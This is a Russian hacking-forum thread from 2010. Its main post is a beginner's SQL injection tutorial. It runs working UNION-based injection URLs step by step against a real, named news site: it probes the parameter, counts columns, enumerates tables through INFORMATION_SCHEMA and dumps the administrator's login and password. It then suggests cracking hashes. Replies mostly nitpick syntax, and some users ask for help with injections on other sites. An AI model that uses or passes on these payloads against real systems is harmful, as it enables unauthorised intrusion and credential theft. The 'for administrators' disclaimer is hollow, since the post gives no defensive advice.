ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   SQL Injection для "совсем новичков" (https://forum.antichat.xyz/showthread.php?t=217895)

Boa 17.07.2010 10:58

Моя первая статья. Вообще, я сторонник всевозможных уроков «Дилетантам от дилетанта». Я сам не так давно начал практиковать SQL-инъекции, и именно поэтому, пока еще свежи воспоминания о том, в чем у меня были проблемы, я постараюсь изложить основы наиболее понятным новичку языков. Опытным хакерам-дедам просьба не беспокоиться. Также, я прекрасно знаю, что тема изъезжена вдоль и поперек и что статей по ней великое множество. Но, тем не менее, я хочу претендовать на то, что моя будет самой понятной. Я совсем не хочу поместить в статью все тонкости и нюансы, просто хочу рассказать основы, необходимые для понимания более полных и профессиональных статей.

Благодарности:

Konqi , ибо именно у него я консультировался в самом начале пути;

Авторам этих статей:

SQL injection и заливка шелла

SQL injection полный FAQ

Итак, приступим.

Что такое SQL Injection? Это внедрение злоумышленником постороннего SQL-кода при помощи составлении специального URL (адреса, для танкистов). Найти уязвимость очень просто. Как – покажу на примере. Здесь у нас, кстати, рассматриваются MySQL базы данных (далее – БД), причем пятой версии.

Код:

http://www.td-vezdehod.ru/news.php?id=774
Казалось бы, что такого особенного в этой странице? 774 – это значение переменной id. Давайте попробуем сунуть к этому значению кавычку:

Код:

http://www.td-vezdehod.ru/news.php?id=774'
Хм, новости исчезли. Теперь давайте попробуем выполнить арифметическое действие:

Код:

http://www.td-vezdehod.ru/news.php?id=775-1
Отображается то же самое, что и при id=774. Это хорошо. Мы можем с уверенностью сказать, что здесь имеет место быть уязвимость. Кстати, очень важный момент. В этом примере при подстановке кавычки на странице исчезают новости, которые там по идее должны быть – это значит, что вывод ошибок отключен. Но чаще, когда мы находим уязвимость, получается ошибка навроде «1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” ORDER BY p.pid DESC LIMIT 0, 20′ at line 12». Почему же для базы данных наш запрос – ошибочен? Сейчас объясню. Запрос к БД, допустим, выглядит так:

Код:

SELECT * FROM news WHERE id='774'
(Если не понимаете логики запроса – «Выбрать все из news где id='774'»). А что получилось, когда мы подставили кавычку?

Код:

SELECT * FROM news WHERE id='774''.
Логика и синтаксис полетели к чертям и БД не может понять, что мы требуем.

Вы не забыли, что цель SQL-инъекции – сделать свой запрос? Так вот, делать мы его будем при помощи оператора UNION – он служит для объединения двух запросов в один. Но прежде нюанс – количество столбцов до этого UNION и после должно соответствовать. Пока особо в это не вдумывайтесь, это теория, потом поймете. Будем подбирать количество столбцов при помощи оператора ORDER BY. Еще сверхважный момент – при составлении url вместо пробела пишите плюс. И вот еще – в MySQL начало комментария обозначается двойным дефисом --, причем до и после него должен быть пробел (помните про плюс?). Я также читал, что комментарий обозначается /*, не знаю, если честно, в чем отличия. Ну, на всякий случай, давайте дописывать в конец url знак начала комментария. Итак, начинаем подбирать количество столбцов вот так:

Код:

http://www.td-vezdehod.ru/news.php?id=774+order+by+30+--+  Ничего.
http://www.td-vezdehod.ru/news.php?id=774+order+by+10+--+  Содержимое отображается.
http://www.td-vezdehod.ru/news.php?id=774+order+by+20+--+  Отображается.
http://www.td-vezdehod.ru/news.php?id=774+order+by+25+--+  Ничего.
http://www.td-vezdehod.ru/news.php?id=774+order+by+22+--+  Отображается.
http://www.td-vezdehod.ru/news.php?id=774+order+by+23+--+  Ничего.

Крайнее число – 22, стало быть, столбцов 22. Если не поняли – при написании числа, меньшего или равного количеству столбцов, содержимое отображается, а при написании числа, большего, чем количество столбцов, ошибка.

Теперь, собственно, UNION. Перед этим лучше поставьте значение id=-1 или допишите что-нибудь ложное, например, 1=0, чтобы содержимое не отображалось и не мешало думать.

Код:

http://www.td-vezdehod.ru/news.php?id=774+and+1=0+--+
Ничего не отображается, естественно.

Сейчас нам нужно узнать версию MySQL. Для этого есть функция version(). Узнаем версию мы так:

Код:

http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
Вы ведь помните, что у нас 22 столбца?

Отображается какая-то фигня) В том числе такое большое красивое число 19. И вместо числа 19 в url подставляем нашу функцию version():

Код:

http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22+--+
Версия 5, отлично! Почему отлично? Потому что в MySQL пятой версии есть такая замечательная штука, как INFORMATION_SCHEMA.TABLES, которая содержит имена всех таблиц БД! И если к ней есть доступ, мы сможем подсмотреть имена таблиц:

Код:

http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(table_name),20,21,22+from+INFORMATION_SCHEMA.TABLES+--+
Обратите внимание на group_concat(table_name)вместо того же числа 19. Если написать просто table_name, то почти наверняка отобразится одно название и все. А нам нужны все. Результат такого запроса – вывод имен всех таблиц. Теперь просто смотрим на имена и предполагаем, в какой таблице лежит то, что нам нужно. Допустим, нам нужен логин и пароль администратора. Замечаем таблицу AdminSite – давайте посмотрим, что в ней за столбцы. Делаем вот так:

Код:

http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(column_name),20,21,22+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=AdminSite+--+
INFORMATION_SCHEMA.COLUMNS, обратите внимание. Не тейблс. И не забудьте «где имя таблицы = AdminSite». Так, а что же такое? Пустота. А давайте попробуем использовать такую замечательную вещь, как CHAR. Ищем любой ascii конвертер. Возьмем этот. Вбиваем AdminSite, ниже показывается «65 100 109 105 110 83 105 116 101». Быстренько пихаем в ворд и делаем замену пробелов на запятые. Потом составляем такой url:

Код:

http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(column_name),20,21,22+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=CHAR(65,100,109,105,110,83,105,116,101)+--+
Я думаю, вы заметили – CHAR(AdminSite в ascii). Теперь получилось! Итак, у нас есть имена столбцов. Теперь приступаем к самому сладкому - мы видим столбцы «login» и «passw». Очевидно, что в них хранится логин и пароль админа. Делаем такой url:

Код:

http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(login,0x3a,passw),20,21,22+from+AdminSite+--+
Обратите внимание на 0x3a между «login» и «passw». Это двоеточие в hex, если написать там просто двоеточие, не выйдет. Итак, на страницу выводится логин и пароль админа. Ура! Но вот важное замечание: хранить пароли в БД в открытом виде довольно небезопасно, поэтому чаще можно извлечь не пароли, а хеши, которые еще нужно расшифровать. Тут много вариантов – попросить на Античате, попробовать онлайн-сервисы, побрутить самому.

Вот, собственно, и все. Надеюсь, моя статейка поможет кому-то. Имхо, SQL инъекции идеальны для начинающего хацкера

Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций. За использование полученных из статьи сведений автор отвественности не несет!

Спасибо за внимание, жду аргументированной критики и вопросов)

iv. 17.07.2010 11:17

Цитата:

Сообщение от None
Вообще, я сторонник всевозможных уроков «Дилетантам от дилетанта».

Так вот значит откуда на античате столько дилетантов.

Совершенно бестолковая и ненужная статья.

Цитата:

Сообщение от None
Ищем любой ascii конвертер. Возьмем этот.

Да, это конечно сильно, для каждого пука на сайт заходить.

Лучше бы написал статью про HackBar, что ли..

Boa 17.07.2010 11:32

Цитата:

Сообщение от iv.
Совершенно бестолковая и ненужная статья.

Цитата:

Сообщение от None
Опытным хакерам-дедам просьба не беспокоиться.

Статья предназначена исключительно для новичков. Она носит характер обучающе-окунающий и подготавливает новичка для прочтения SQL injection полный FAQ, например.

iv. 17.07.2010 11:44

Цитата:

Сообщение от None
Статья предназначена исключительно для новичков. Она носит характер обучающе-окунающий и подготавливает новичка для прочтения SQL injection полный FAQ, например.

Эта статья носит хакактер "как проэксплуатировать sql инъекцию на сайте www.td-vezdehod.ru". Ну и в первом посте ты так же пишешь "Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций", но ни одного слова именно про то, как уберечься, я не увидел.

Boa 17.07.2010 12:45

Цитата:

Сообщение от None
Эта статья носит хакактер "как проэксплуатировать sql инъекцию на сайте www.td-vezdehod.ru"

Этот сайт взят только в качестве примера.

Цитата:

Сообщение от None
Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций

Глупая придирка, ибо в абсолютном большинстве случаев это пишется "на всякий случай".

BrainDeaD 17.07.2010 15:21

Цитата:

Сообщение от Boa
(Если не понимаете логики запроса – «Выбрать все из news где id='774'»). А что получилось, когда мы подставили кавычку?
Код:

SELECT * FROM news WHERE id='774''.

и.....? что получается, мы видим, а что это за собой влечёт, новичку врятли понятно.

m0Hze 17.07.2010 15:41

Отличная статья, просто шедевр! Я по ней хекингу учился, всем советую" Поднимите свой уровень хакерской догадки до уровней небес! Атвичаю.

Konqi 17.07.2010 15:58

лучше бы запостить эту статью не на Ачате а на HackZone-e или т.п.

Boa конечно старание оцениваются, но таких статей здесь море

Fepsis 17.07.2010 16:02

Урезанная версия статьи Dr.Z3r0 (/thread43966.html)

Ну уж на авторскую никак не тянет...

Цитата:

Сообщение от Boa
Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций.



Что-то я не увидел ни одного совета "всевозможным администраторам" как "уберечься от SQL-инъекций"

Boa 17.07.2010 17:44

Цитата:

Сообщение от None
Что-то я не увидел ни одного совета "всевозможным администраторам" как "уберечься от SQL-инъекций"

Уже говорилось

Spyder, м?

Konqi, запощу, пожалуй

Spyder 17.07.2010 17:47

Boa, что м? Ты же сам никакого представления об инъекциях не имеешь. Зачем статью писать?

Boa 17.07.2010 17:48

Spyder,

Цитата:

Сообщение от None
Вообще, я сторонник всевозможных уроков «Дилетантам от дилетанта»

Человеку проще передать то, что он сам узнал совсем недавно.

Redwood 17.07.2010 17:51

Согласен со Spyder'ом, зачем вводить людей в заблуждение, особенно на их начальном этапе, если ты еще сам пока до конца не понимаешь принцип проведения sql иньекций?

Spyder 17.07.2010 17:52

Boa, ну а потом такие дилетанты, вроде тебя, начитавшись хакерских статей, как твоя, начинают

при составлении url вместо пробела писать плюс, ставить до и после комментария пробел, ставят /* - но не знают в чем отличия и так далее

The matrix 17.07.2010 18:25

Цитата:

Сообщение от Boa
SQL инъекции идеальны для начинающего хацкера

Чемодан =/, юморим по хакерски, etc

Цитата:

Сообщение от Boa
Что такое SQL Injection? Это внедрение злоумышленником постороннего SQL-кода при помощи составлении специального URL

Твоя информация не достоверна.

Цитата:

Сообщение от Boa
вместо пробела пишите плюс

Пусть все знают. Пробел используется ламерами, а плюс хакерами.

Да что там дальше смотреть... Садись, два! Где мой коньяк?

Не обижайся, статья-говно. И совсем новичек прочитав эту статью на каком-то этапе впадет в депрессию.

vitaliy-den 17.07.2010 19:57

Вполне нормальная статейка для начинающих - всё показано на практике.

ZARO 22.07.2010 00:38

Цитата:

Сообщение от None
И вот еще – в MySQL начало комментария обозначается двойным дефисом --,
причем до и после него должен быть пробел

Да ну? xD

[Feldmarschall] 22.07.2010 06:55

мдя..

давай угадаю, купил комп, потом инет

и через 2 месяца(видно по реги) пишешь статью в которой новичок даже не сможет понять отличие между order by и group by и думаешь что тут есть что-то полезное в этой ужасной статье?

(другого слова не смог подобрать) как видно "http://www.td-vezdehod.ru/" твой первый мега взлом ахЪ?

поздравляю ты теперь мастер среди всех новичков-нубов...

и еще кое чо мастер, проясни своим знанием почему когда я хецкаю сайты по твоему супер охеренному варианту 774+and+1=0+...........

то с запросам and+1=0 у меня не ломается сайтег?

других вариантав ты мне не дать, и мое теперь не знать как ломать WWW ((((

Twoster 22.07.2010 08:09

Цитата:

Сообщение от None
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,group_concat(login ,0x3a,passw),20,21,22+from+
AdminSite
+
--+

Цитата:

Сообщение от None
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,group_concat(colum n_name),20,21,22+from+INFORMATION_SCHEMA.COLUMNS+w here+table_name=
AdminSite
+
--+

Уважаемый ТС, что это за чудо-запросы?

table_name=AdminSite как я понял - это приватный метод обхода magic_quotes, а + зачем? Я вот уже замечаю в который раз, что перед комментарием ставят такой плюсик, это для чего? =\

Цитата:

Сообщение от None
Еще сверхважный момент – при составлении url вместо пробела пишите плюс.

Это почему же?

ТС - написание статей - это хорошо, но на эти ошибки уже указывали, нужно их исправить! Если бы ты показал банальную раскрутку скули, но правильно - я бы слова не сказал! Вы просто не понимаете ответственность за такие статьи, сейчас придет новичок, прочтет статью и пойдет ломать интернеты по статье с ошибками! =(

-PRIVAT- 22.07.2010 13:14

Таких статей море. Эта статья, я думаю, была не нужна. Хватит и этой в ней более обширно написано, и есть почти всё, что и в этой статье.

Ins3t 22.07.2010 19:47

Цитата:

Сообщение от None
И вот еще – в MySQL начало комментария обозначается двойным дефисом --, причем до и после него должен быть пробел

До ненужно. Необходимо только после. Это сделали потому что позволяется арифметическая операция "--".

Вот смотри, показываю один раз наглядным примером:

Код:

mysql> SELECT 1--3;
+------+
| 1--3 |
+------+
|    4 |
+------+
1 row in set (0.00 sec)

mysql> SELECT 1-- 3;
    -> ;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

Понимаешь?

Boa 22.07.2010 21:23

Пробел до и после комментария я взял из полного FAQ по скулям, в этом же разделе. Достаточное объяснение?

Ins3t 22.07.2010 21:54

Цитата:

Сообщение от None
Достаточное объяснение?

Это, наверное, очень внушительно прозвучать должно было?

--

Достаточное объяснение будет когда ты приведешь мне цитату из официальной документации.

А в документации написано:

Цитата:

Сообщение от None
From a “-- ” sequence to the end of the line. In MySQL, the “-- ” (double-dash) comment style requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on).


Seravin 22.07.2010 23:02

а для меня +--+ это просто дело привыки, как и id=1+and+1=2, а не id=-1(или чтото вроде того)

Цитата:

Сообщение от Boa
Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций. За использование полученных из статьи сведений автор отвественности не несет!

а на это есть вот это /thread30641.html

ErrorNeo 22.07.2010 23:55

статья "проводим простейшую SQL инъекцию на примере сайта ***"

думается мне, она способна показать новичку, насколько "просто" иногда можно заполучить пасс админа, и тем самым пробудить у него интерес к тому, чтобы изучить SQL-inj более детально.

понравилось.

Если Ты - новичек, и тебе тоже понравилась эта статья - советую ознакомиться с еще одной (уже указывавшейся ранее) от Dr.Z3r0 (/thread43966.html)

Она читается немного по-тяжелее, да и наглядного примера там нет, но зато она сможет дать тебе ответы на многие вопросы из тех, что у тебя могли возникнуть после прочтения этой статьи.

fl00der 24.07.2010 13:26

Привет, ТС.

Я подобрал число таблиц, теперь пытаюсь сделать так: Причем, походу, таблица одна, т.к. только при еденице все отображается.

http://site.com/lol.php?id=-1+union+select+1+--+

Но получаюThe used SELECT statements have a different number of columns​Без всяких других ошибок. Если делаю больше (1,2,3) то получаю еще ошибки ПХП (Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource) Однако подставив select+1,2,3,4,5,6,7,8,9,10,11 я получаю только Варнинги, но и страница корректно не отображается, но она отображается лучше, чем когда подставишь до 12 (у нее есть задуманый автором цвет). Че это такое?

Boa 24.07.2010 14:28

Встречал такие, просто подбирал число, чтобы при следующем числе число всяких ошибок и инфа на странице летели к чертям.

CyberHunter 24.07.2010 15:09

Цитата:

Сообщение от None
Встречал такие, просто подбирал число, чтобы при следующем числе число всяких ошибок и инфа на странице летели к чертям.

Он это и сделал, но появляется другая ошибка: "The used SELECT statements have a different number of columns". В чем проблема?

Boa 24.07.2010 16:46

В статье др. Зеро написано. А моя и не претендует на объяснение всего и вся.

fl00der 24.07.2010 17:47

Цитата:

Сообщение от Boa
Встречал такие, просто подбирал число, чтобы при следующем числе число всяких ошибок и инфа на странице летели к чертям.

Ваще не понял, че надо сделать.

При еденице нет ворнингов, но число это явно маловато.

При 11 есть ворнинги, но нет ошибки SQL, т.е. как будто, это искомое число столбцов. Однако, когда я делаю id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11 я получаю варнинги, а не получаю ту "фигню" с "большим и красивым числом 19" (ну у меня, уж наверное, это будет не 19, я это осознаю).

Что же это? Какой-то хитрый/недописаный фильтор? Если ты говоришь, что такое встречал, то, все-таки, что ты при этом делал?

Konqi 24.07.2010 17:51

Цитата:

Сообщение от fl00der
Ваще не понял, че надо сделать.
При еденице нет ворнингов, но число это явно маловато.
При 11 есть ворнинги, но нет ошибки SQL, т.е. как будто, это искомое число столбцов. Однако, когда я делаю id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11 я получаю варнинги, а не получаю ту "фигню" с "большим и красивым числом 19" (ну у меня, уж наверное, это будет не 19, я это осознаю).
Что же это? Какой-то хитрый/недописаный фильтор? Если ты говоришь, что такое встречал, то, все-таки, что ты при этом делал?

скин в личкy, посмотрю

CyberHunter 24.07.2010 17:51

fl00der, клац.

Цитата:

Сообщение от None
Если ты говоришь, что такое встречал, то, все-таки, что ты при этом делал?

Оставлял и искал другие

Sams 25.07.2010 14:17

fl00der, никакой это не фильтр, это обычный двойной SQL запрос. Вот пример /thread175335-%E4%E2%EE%E9%ED%EE%E9+sql.html

Но увы, здесь нету универсального решения. Для каждого случая нужно составлять свою инъекцию.

Цитата:

Сообщение от None
Оставлял и искал другие

Аналогично

Угрюмый 29.08.2010 00:22

Boa !

Не обращай внимания на критику. Статья нужная (имхо). Да, она не для гуру, а для самых начинающих. О чем ты и сообщил в самом начале статьи.

Лично мне она дала толчок и желание все же изучать данную тему. ДУмаю, что и многим другим начинающим она поможет.

Уважаемые гуру и кул-хацкеры!

Критиковать и тыкать носом в неточности и поверхностность статьи легче всего.

Но напомню - статья совсем не претендует на звание научного труда или революционные изыскания. И написана скорее для популяризации темы. О чем автор и предупреждает в самом начале (первые два абзаца).

И я считаю что с этой задачей статья справляется.

ICEPack 29.08.2010 00:35

Очень интересная и познавательная статья мне как новичку очень пригодилась !

написано всё доходчиво и понятно +

AnGeI 29.08.2010 01:12

Boa, продолжай в том же духе, пиши еще.

Прочитал бы её на пару месяцев раньше, уточнил бы для себя многие моменты.

Sajeys 29.08.2010 01:19

Для первой просто великолепно...

J0cker 05.09.2010 19:35

Привет всем.У меня небольшая непонятка вышла

Код:

http://www.xxx.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7  ,8,9,10,11,12,13,14,15,16,17,18,column_name,20,21,22+from+INFORMATION_SCHEMA.COLUMNS+w  here+table_name=CHAR(65,100,109,105,110,83,105,116  ,101)+--+
Имя таблицы перевел в Ascii так как с простым именем таблицы получаю ошибку.Ради эксперимента переводил в Hax тож отлично работает до такого замечательного момента как вывод информации из столбца.

а именно

Код:

union+select+1,2,3,4,5,6,7  ,8,9,10,11,12,13,14,15,16,17,18,passwod,20,21,22+from+CHAR(65,100,109,105,110,83,105,116  ,101)+--+
это безобразие типо

Код:

CHAR(65,100,109,105,110,83,105,116  ,101)
Менял на Hax(0x5573657273) в надежде что что то изменится но увы не чего не вышло.

Кто подскажет в чем ошибка что не так.

shellz[21h] 05.09.2010 22:13

Зачем таблицу чарить?

Код:

union+select+1,2,3,4,5,6,7  ,8,9,10,11,12,13,14,15,16,17,18,passwod,20,21,22+from+TABLE+--+

J0cker 06.09.2010 01:45

Цитата:

Сообщение от shellz[21h
"]
shellz[21h] said:
Зачем таблицу чарить?
Код:

union+select+1,2,3,4,5,6,7  ,8,9,10,11,12,13,14,15,16,17,18,passwod,20,21,22+from+TABLE+--+

Ну если я могу получить имена столбцов только через "Char" или "Hax" (Если указывать просто имя таблицы типа "Users" получу ошибку)

Предположил что так же стоит поступить и при выводе инфы. из столбцов.Но увы пока без успешно.


Время: 21:16